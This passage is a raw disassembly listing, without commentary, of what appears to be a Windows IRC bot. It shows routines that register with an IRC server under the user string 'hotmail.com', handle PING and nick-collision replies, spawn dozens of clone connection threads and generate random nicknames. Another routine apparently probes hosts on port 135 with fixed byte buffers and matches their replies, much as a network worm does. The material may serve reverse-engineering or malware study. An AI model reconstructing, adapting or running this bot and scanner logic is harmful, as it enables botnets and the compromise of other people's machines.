var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
